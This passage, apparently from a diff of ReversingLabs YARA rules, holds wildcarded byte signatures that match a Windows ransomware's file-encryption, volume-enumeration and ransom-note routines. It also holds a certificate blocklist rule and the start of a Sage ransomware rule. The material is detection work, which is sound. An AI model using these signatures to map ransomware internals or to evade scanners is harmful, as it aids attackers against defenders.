?? 49 8B CE E8 ?? ?? ?? ?? 4C - 8B 6C 24 ?? 48 8D 55 ?? 48 8B CB FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 0F 85 ?? ?? ?? ?? - 49 8B 04 24 49 8B 54 24 ?? 48 2B D0 48 C1 FA ?? 48 3B F2 74 ?? 48 2B D6 48 8D 0C F0 - 4C 8D 0D ?? ?? ?? ?? 45 8D 46 ?? E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 44 38 74 - 24 ?? 74 ?? 48 8B 4C 24 - } - $find_system_volumes_v1_p1 = { - 48 89 4C 24 ?? 55 53 56 57 41 56 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? - 48 8B F1 45 33 FF 44 89 7C 24 ?? 4C 89 39 4C 89 79 ?? 4C 89 79 ?? C7 44 24 ?? ?? ?? - ?? ?? BA ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 0F 1F 00 4C 8D 8D ?? - ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 44 89 7C 24 ?? 4C 89 7C 24 ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 - ?? 4C 89 7C 24 ?? 45 33 C9 45 33 C0 33 D2 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8D 14 00 48 8D BD ?? ?? ?? ?? 48 03 FA 4C 89 7C 24 ?? 4C 89 - 7C 24 ?? 4C 89 7C 24 ?? 4C 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 - 8D 9D ?? ?? ?? ?? 48 D1 FA 48 83 FA ?? 72 ?? 45 33 C0 48 8D 4C 24 ?? E8 - } - $find_system_volumes_v1_p2 = { - 4C 89 7C 24 ?? 48 8D 44 24 ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 3B C7 74 - ?? 66 66 66 0F 1F 84 00 ?? ?? 00 00 44 0F B6 0B 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 3B - CA 73 ?? 48 8D 41 ?? 48 89 44 24 ?? 48 8D 44 24 ?? 48 83 FA ?? 48 0F 43 44 24 ?? 44 - 88 0C 08 C6 44 08 ?? ?? EB ?? 45 33 C0 41 8D 50 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 - 83 C3 ?? 48 3B DF 75 ?? 4C 89 BD ?? ?? ?? ?? 48 8B 46 ?? 48 3B 46 ?? 74 ?? 4C 89 38 - 4C 89 78 ?? 4C 89 78 ?? 41 B8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B C8 E8 ?? ?? ?? ?? 4C - 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 83 46 ?? ?? EB ?? 4C 8D 44 - 24 ?? 48 8B D0 48 8B CE E8 ?? ?? ?? ?? 90 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 FF C2 - 48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 - 48 83 C0 ?? 48 83 F8 ?? 77 ?? E8 ?? ?? ?? ?? 4C 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? - ?? C6 44 24 ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 54 24 ?? 49 8B CE FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 48 8B C6 48 81 C4 - } - $set_default_icon_p1 = { - 48 89 5C 24 ?? 48 89 4C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ?? - 48 8B F1 45 33 ED 44 89 6C 24 ?? 4C 8B 35 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 4C 8B F8 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B C8 49 2B CE 49 3B CF 0F 82 ?? ?? - ?? ?? 4C 8D 25 ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 4C 0F 43 25 ?? ?? ?? ?? 4C 89 6C - 24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 4B 8D 2C 37 BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 3B - EB 0F 86 ?? ?? ?? ?? 48 8B DD 48 83 CB ?? 48 3B D8 76 ?? 48 8B D8 48 B8 ?? ?? ?? ?? - ?? ?? ?? ?? 48 8D 0C 00 EB ?? B8 ?? ?? ?? ?? 48 3B D8 48 0F 42 D8 48 8D 4B ?? 48 B8 - ?? ?? ?? ?? ?? ?? ?? ?? 48 3B C8 0F 87 ?? ?? ?? ?? 48 03 C9 48 81 F9 ?? ?? ?? ?? 72 - ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? - ?? ?? ?? 48 8D 78 ?? 48 83 E7 ?? 48 89 47 ?? EB ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 48 - 8B F8 EB ?? 49 8B FD 48 89 7C 24 ?? 48 89 6C 24 ?? 48 89 5C 24 ?? 4B 8D 1C 36 4C 8B - } - $set_default_icon_p2 = { - C3 49 8B D4 48 8B CF E8 ?? ?? ?? ?? 48 8D 0C 3B 4F 8D 04 3F 48 8D 15 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 66 44 89 2C 6F BB ?? ?? ?? ?? 89 5C 24 ?? 48 8D 54 24 ?? 48 83 7C 24 ?? - ?? 48 0F 43 54 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ?? - 48 89 44 24 ?? 4C 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 44 89 6C 24 ?? 45 33 C9 45 33 - C0 48 C7 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CE 48 83 7E ?? ?? 72 ?? - 48 8B 0E 8B 46 ?? 03 C0 89 44 24 ?? 48 89 4C 24 ?? 44 8B CB 45 33 C0 48 8D 15 ?? ?? - ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 33 D2 B9 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? EB ?? 4C 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 4C 24 - ?? 45 33 C9 44 8B C0 33 D2 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 E3 ?? 89 5C 24 ?? 48 - 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B C1 48 81 - FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 77 ?? - E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 44 89 6C 24 ?? 48 8B CE - E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C - 5F 5E 5D C3 - } - $cmd_prompt = { - 48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8B EC 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 - 48 89 45 ?? 48 8B D9 4C 8D 05 ?? ?? ?? ?? 33 FF 48 8D 4D ?? 33 D2 48 89 7D ?? E8 ?? - ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 85 DB 75 ?? 48 8B 4D ?? 48 85 C9 0F 84 ?? ?? - ?? ?? 33 D2 E8 ?? ?? ?? ?? 48 8B 4D ?? 8B D8 E8 ?? ?? ?? ?? 85 DB 40 0F 94 C7 E9 ?? - ?? ?? ?? 48 8B 45 ?? 48 8D 0D ?? ?? ?? ?? 48 89 45 ?? 48 89 4D ?? 48 89 5D ?? 48 89 - 7D ?? 48 85 C0 74 ?? E8 ?? ?? ?? ?? 8B 18 E8 ?? ?? ?? ?? 45 33 C9 4C 8D 45 ?? 33 C9 - 89 38 48 8B 55 ?? E8 ?? ?? ?? ?? 48 8B F8 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? 89 18 EB ?? - E8 ?? ?? ?? ?? 83 38 ?? 74 ?? E8 ?? ?? ?? ?? 83 38 ?? 74 ?? 48 8B 4D ?? E8 ?? ?? ?? - ?? 83 CF ?? EB ?? E8 ?? ?? ?? ?? 89 18 48 8D 15 ?? ?? ?? ?? 45 33 C9 4C 8D 45 ?? 48 - 89 55 ?? 33 C9 E8 ?? ?? ?? ?? 48 8B F8 48 8B 4D ?? E8 ?? ?? ?? ?? 8B C7 48 8B 4D ?? - 48 33 CC E8 ?? ?? ?? ?? 4C 8D 5C 24 ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3 5D C3 - } - $exclude_from_encryption = { - 66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D - 4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B - 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? - ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 89 75 ?? 48 83 FF ?? 0F 85 - ?? ?? ?? ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? - 66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D - 4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B - 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? - ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 89 75 ?? 48 83 FF ?? 0F 85 - ?? ?? ?? ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? - 66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D - 4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B - 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? - ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 - } - $encrypt_files_v1 = { - 41 83 CC ?? 44 89 64 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 FF ?? 48 0F 43 8C 24 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 8B F8 41 83 E4 ?? 44 89 64 24 ?? 48 8B 94 24 ?? ?? ?? ?? 48 - 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? - ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 49 - ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? - ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 9C 24 ?? ?? 00 00 40 F6 C7 ?? 74 - ?? 49 8B CF E8 ?? ?? ?? ?? 90 48 BE ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 4C - 8D 35 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? C6 84 - 24 ?? ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B F0 48 - 89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 4C 8B 70 ?? 48 - 83 78 ?? ?? 72 ?? 48 8B 30 48 8D 8C 24 ?? ?? ?? ?? 49 83 FE ?? 73 ?? 41 B8 ?? ?? ?? - ?? 48 8B D6 E8 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? - ?? EB ?? 4C 89 AC 24 ?? ?? ?? ?? 49 8B FE 48 83 CF ?? 48 89 BC 24 ?? ?? ?? ?? 49 3B - FD 49 0F 47 FD 48 8D 57 ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4E 8D 04 75 ?? ?? - ?? ?? 48 8B D6 48 8B C8 E8 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 89 BC 24 - } - $find_system_volumes_v2 = { - BA ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 0F 1F 44 00 ?? 4C 8D 8D ?? - ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 89 74 24 ?? 48 89 74 24 ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? - 48 89 74 24 ?? 45 33 C9 45 33 C0 33 D2 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 4C 8D 04 00 48 8D 85 ?? ?? ?? ?? 49 03 C0 48 89 74 24 ?? 48 89 74 - 24 ?? 48 89 74 24 ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 89 74 24 ?? 48 8D - 8D ?? ?? ?? ?? 48 3B C8 74 ?? 49 D1 F8 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? - ?? ?? 90 48 8B 43 ?? 48 3B 43 ?? 74 ?? 48 89 30 48 89 70 ?? 48 89 70 ?? 41 B8 ?? ?? - ?? ?? 48 8D 54 24 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? - ?? 66 89 74 24 ?? 48 83 43 ?? ?? EB ?? 4C 8D 44 24 ?? 48 8B D0 48 8B CB E8 ?? ?? ?? - ?? 90 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B - C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 - ?? 77 ?? E8 ?? ?? ?? ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 89 74 24 ?? 41 - B8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 - 8B CF FF 15 ?? ?? ?? ?? 48 8B C3 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E - 5D C3 - } - $drop_ransom_note = { - 48 83 3D ?? ?? ?? ?? ?? 48 0F 43 15 ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8D 4D ?? E8 - ?? ?? ?? ?? 48 8B D8 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 45 8D 46 ?? 48 8B D0 48 8D - 4D ?? E8 ?? ?? ?? ?? 4C 89 73 ?? 48 C7 43 ?? ?? ?? ?? ?? 66 44 89 33 BE ?? ?? ?? ?? - 89 75 ?? 83 E6 ?? 89 75 ?? 48 8B 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 - 8B 4D ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 - C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 75 ?? 48 C7 45 ?? ?? ?? ?? - ?? 66 44 89 75 ?? 48 8D 4D ?? 48 83 7D ?? ?? 48 0F 43 4D ?? 4C 89 74 24 ?? C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 48 8B D8 48 83 F8 ?? 74 ?? 4C 89 74 24 ?? 45 33 C9 41 B8 ?? ?? ?? ?? 48 8D 15 - ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 E6 ?? 89 75 ?? - 48 8B 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA - ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 44 89 75 ?? 48 8B 57 - ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 0F 48 81 FA ?? ?? ?? ?? 72 ?? 48 - 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 77 ?? 49 8B C8 E8 ?? ?? ?? ?? - 4C 89 77 ?? 48 C7 47 ?? ?? ?? ?? ?? 66 44 89 37 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? - 49 8B 73 ?? 49 8B 7B - } - $encrypt_files_v2_p1 = { - BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 48 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 - 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 49 8B FA 49 8B D1 4D 85 D2 - 74 ?? 4C 8B C1 4D 2B C1 0F B7 02 66 41 39 04 10 75 ?? 48 83 C2 ?? 48 83 EF ?? 75 ?? - 49 2B CB 48 D1 F9 E9 ?? ?? ?? ?? 48 83 C1 ?? E9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 - 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 90 48 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? - 48 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? B2 ?? 48 8D 4C 24 ?? E8 ?? - ?? ?? ?? B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 0B 00 F3 0F 7F 45 ?? - 48 89 75 ?? 48 89 75 ?? 48 8D 45 ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? - C6 45 ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 45 ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45 - ?? ?? 48 8D 45 ?? 83 E0 ?? 48 8D 44 05 ?? 48 89 45 ?? 89 75 ?? C7 45 ?? ?? ?? ?? ?? - 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? - ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 - 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 - 8D 05 ?? ?? ?? ?? 48 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 - C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C - 8B E8 48 89 44 24 ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 89 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 - } - $encrypt_files_v2_p2 = { - 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D7 48 8D 0D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8B CF 41 B8 ?? ?? ?? ?? 49 8B D5 - 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D5 48 8B 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 83 C1 ?? 41 B8 ?? ?? ?? ?? 48 8B D7 E8 ?? ?? ?? ?? - BF ?? ?? ?? ?? 4C 3B FF 0F 8D ?? ?? ?? ?? F2 0F 10 35 ?? ?? ?? ?? 48 8B FE 49 8B C7 - 48 2B C7 48 99 83 E2 ?? 48 03 C2 48 C1 F8 ?? 4C 8B F0 F2 0F 59 35 ?? ?? ?? ?? 0F 57 - C0 F2 48 0F 2A C0 F2 0F 59 F0 F2 48 0F 2C CE 48 85 C9 0F 85 ?? ?? ?? ?? 4D 85 FF 0F - 8E ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? - 90 48 8D 35 ?? ?? ?? ?? 48 89 75 ?? 4C 8D 35 ?? ?? ?? ?? 4C 89 75 ?? 48 8D 05 ?? ?? - ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 - ?? 4D 8B CF 45 33 C0 48 8B D3 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 - 81 FF ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? F2 0F 10 35 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 - ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 - 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? - 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8B CF 45 33 C0 48 8B D3 49 8B CE - E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 99 48 F7 F9 4C 8B E8 48 85 C0 75 ?? 48 8D 45 ?? 48 - } - $encrypt_files_v2_p3 = { - 89 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 35 ?? ?? ?? ?? 48 89 - 75 ?? 4C 8D 35 ?? ?? ?? ?? 4C 89 75 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? - ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 4D 8B CF 45 33 C0 48 8B D3 - 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B 6C 24 ?? E9 ?? ?? ?? ?? 4D 85 F6 0F 8E ?? - ?? ?? ?? 4D 8B FD 49 C1 E7 ?? 4C 8B A5 ?? ?? ?? ?? 90 48 8D 45 ?? 48 89 44 24 ?? 48 - 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 - ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 - 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 4C 8B C7 48 8B D3 49 8B - CC E8 ?? ?? ?? ?? 49 03 F5 49 03 FF 49 3B F6 7C ?? 4C 8B A5 ?? ?? ?? ?? 4C 8B 6C 24 - ?? 48 8D 35 ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 4C 8B C3 48 8B 95 - ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 4D 8B C4 - 48 8D 95 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 95 ?? ?? ?? ?? 48 - 85 D2 74 ?? 48 8B FA 33 C0 B9 ?? ?? ?? ?? F3 AA 48 8B CA E8 ?? ?? ?? ?? 90 4D 85 ED - 74 ?? 49 8B FD 33 C0 B9 ?? ?? ?? ?? F3 AA 49 8B CD E8 ?? ?? ?? ?? 90 48 89 74 24 ?? - 4C 89 74 24 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( ( $find_files ) and ( all of ( $find_system_volumes_v1_p* ) ) and ( all of ( $set_default_icon_p* ) ) and ( $cmd_prompt ) and ( $exclude_from_encryption ) and ( $encrypt_files_v1 ) ) or ( ( $find_files ) and ( $cmd_prompt ) and ( $find_system_volumes_v2 ) and ( $drop_ransom_note ) and ( all of ( $encrypt_files_v2_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lerges" and pe.signatures [ i ] . serial == "61:6a:52:05:23:85:90:b0:1d:7b:76:1e:44:4e:4a:d9" and 1421452800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sage : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_29Be2278113Dd062Eadca32De6B242D0 : INFO FILE { meta: - description = "Yara rule that detects Sage ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "81f4c666-93f9-51bb-8dda-431ef7a81b74" - date = "2020-06-26" - modified = "2020-07-15" + id = "a2dfd6e0-4475-537a-859e-126dd4a02af7" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sage.yara#L1-L77" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15900-L15916" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "69079b7176050096cdbaaaff30dd0359366b3a6a74e8bc17db348794388f71ba" + logic_hash = "3df7afba9eda9022a64647ce2a91119d0bdf6fe5b164a1e82b1819409024fbee" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Sage" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection = { - 83 EC ?? 8B 44 24 ?? 53 55 56 57 8B 7C 24 ?? 8B 77 ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? - 8B D8 51 89 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 